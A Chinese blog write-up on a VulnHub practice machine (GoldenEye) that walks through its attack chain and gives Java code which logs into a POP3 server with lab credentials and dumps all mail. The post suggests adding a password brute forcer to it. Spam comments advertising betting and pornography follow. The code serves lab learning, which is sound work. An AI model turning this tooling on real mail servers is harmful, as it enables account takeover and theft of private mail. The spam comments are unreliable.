前段时间在Freebuf上读到大佬的《OSCP学习经验分享》,其中推荐了一些vulnhub上的靶机,笔者下载了排在其中第一位的GoldenEye靶机,并进行了一波渗透,编写了相应的漏洞利用程序(Exploit)。
鄙人学艺不精,但是对Java编程有所了解,参见了某国外大佬的WriteUP,写下了一套Exploit。
WriteUp中主要使用了简单的社会工程技巧来收集账户信息,暴力破解POP3口令,在邮件中检索信息最终登录站点超管账号,利用了Moodle2.2.3的拼写检查引擎来远程执行代码,最终利用Overlayfs漏洞成功提权,拿下root。
0x00 POP3协议简介
POP3(Post Office Protocol 3),是一种基于TCP协议的电子邮件协议,默认端口为110 。
POP3常用命令列表,更多命令请参见POP3百度百科
USER <用户名> #指定要认证的用户名
PASS <密码> #输入密码
STAT # 请求邮箱的统计资料,如邮件总数和总字节数
LIST #列出邮件简略信息
RETR <编号> #请求编号对应的邮件正文

0x01 批量dump邮件思路
获取邮件正文主要过程如下
用户认证 -> 请求邮件统计信息 -> 读取所有邮件正文
因为POP3的认证过程比较简单,可以自己非常方便地编写一个爆破脚本,主要过程如下(比较简单,可以自己试着动手实现)
1.USER命令 指定用户名
2.PASS命令 验证密码
3.根据服务器响应,判断认证结果
认证通过后,下载邮件正文
4.STAT命令 获取邮件统计信息
5.RETR命令 遍历邮箱,下载邮件
0x02 代码编写
这里用Java编写一个POP3类来实现邮件相关的操作
import java.io.*;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketAddress;
public class POP3 {
private Socket socket = new Socket(); //初始化一个Socket,后续建立网络连接
private BufferedReader br = null;
private BufferedWriter bw = null;
//连接到POP3服务器
public boolean connect(String host,int port) {
try {
SocketAddress sa = new InetSocketAddress(host,port);
this.socket.connect(sa,5); //使用SA来连接,可以设置超时
//初始化br和bw用于输入输出
this.br = new BufferedReader(
new InputStreamReader(socket.getInputStream())
);
this.bw = new BufferedWriter(
new OutputStreamWriter(socket.getOutputStream())
);
System.out.println("[+] 连接成功");
return true;
} catch (IOException e) {
//e.printStackTrace();
System.out.println("[-] 连接失败");
}
return false;
}
//用户认证
public boolean login(String user,String pass){
try {
//读掉Banner
br.readLine();
bw.write("USER " + user); //输入用户名
bw.newLine(); //回车
bw.flush(); //刷新缓冲区,使命令马上发送
if (br.readLine().toUpperCase().contains("OK")) {
bw.write("PASS " + pass); //输入密码
bw.newLine();
bw.flush();
if (br.readLine().toUpperCase().contains("OK")) { //服务端返回OK+则成功
System.out.println("[+] 认证成功");
return true;
} else {
System.out.println("[+] 认证失败");
}
}
} catch (IOException e) {
//e.printStackTrace();
System.out.println("[+] 认证异常");
}
return false;
}
//下载邮件正文
public void dumpMail() {
try {
bw.write("STAT"); //请求邮件统计信息
bw.newLine();
bw.flush();
//获取邮件总数
int num = Integer.valueOf(br.readLine().split(" ")[1]);
//遍历邮件
for (int i=1;i <=num;i++) {
System.out.println("[+] 第"+ i +"封邮件");
bw.write("RETR " + i); //获取邮件正文
bw.newLine();
bw.flush();
String line = null;
//读出邮件正文
while ((line = br.readLine()) != null) {
if (!line.startsWith(".")) {
System.out.println(line);
} else {
break;
}
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
在main方法中实例化POP3对象,下载邮件
public class Main {
public static void main(String[] args) {
POP3 pop3 = new POP3();
pop3.connect("192.168.180.130",55007);//靶机IP,端口
if (pop3.login("natalya","bird")){
pop3.dumpMail();
}
}
}
0x03 编译代码,运行
javac Main.java
java Main

0x04 结语
感谢阅读。POP3协议比较简单,爆破和进行一些自动化操作也比较容易,很适合新手拿来练手,深入地了解应用层协议的通信过程。SMTP协议的爆破请参考笔者高中时攥写的另一篇文章。
Good day! Do you use Twitter? I’d like to follow you if that would be okay.
I’m undoubtedly enjoying your blog and look forward to new posts.
Very nice article, exactly what I was looking for.
Thanks very nice blog!
Yes! Finally someone writes about life insurance.
youtube tik tok
Keep on writing, great job!
Good info. Lucky me I ran across your blog by chance (stumbleupon).
I have saved it for later!
best betting canada
I didn’t know that.
order that I may subscribe.
Top 100 Best Pornstars 2018 (Hottest Female Pornstars)
Very good post.Much thanks again. Will read on…
Wow, great blog.Thanks Again. Will read on…
Looking forward to reading more. Great blog article.Thanks Again. Really Great.
Wow, great blog post.Much thanks again.
wow, awesome article post.Really thank you! Keep writing.
Muchos Gracias for your blog post. Much obliged.
Your information was very useful to me. That’s exactly what I’ve been looking for성인야설
wow, awesome article post.Much thanks again. Really Great.
Thank you ever so for you blog post.Really looking forward to read more. Will read on…
A round of applause for your post.Really looking forward to read more. Much obliged.
I really like and appreciate your blog.Thanks Again. Really Cool.
I loved your blog.Really looking forward to read more. Really Great.
Dead pent subject material, Really enjoyed looking through.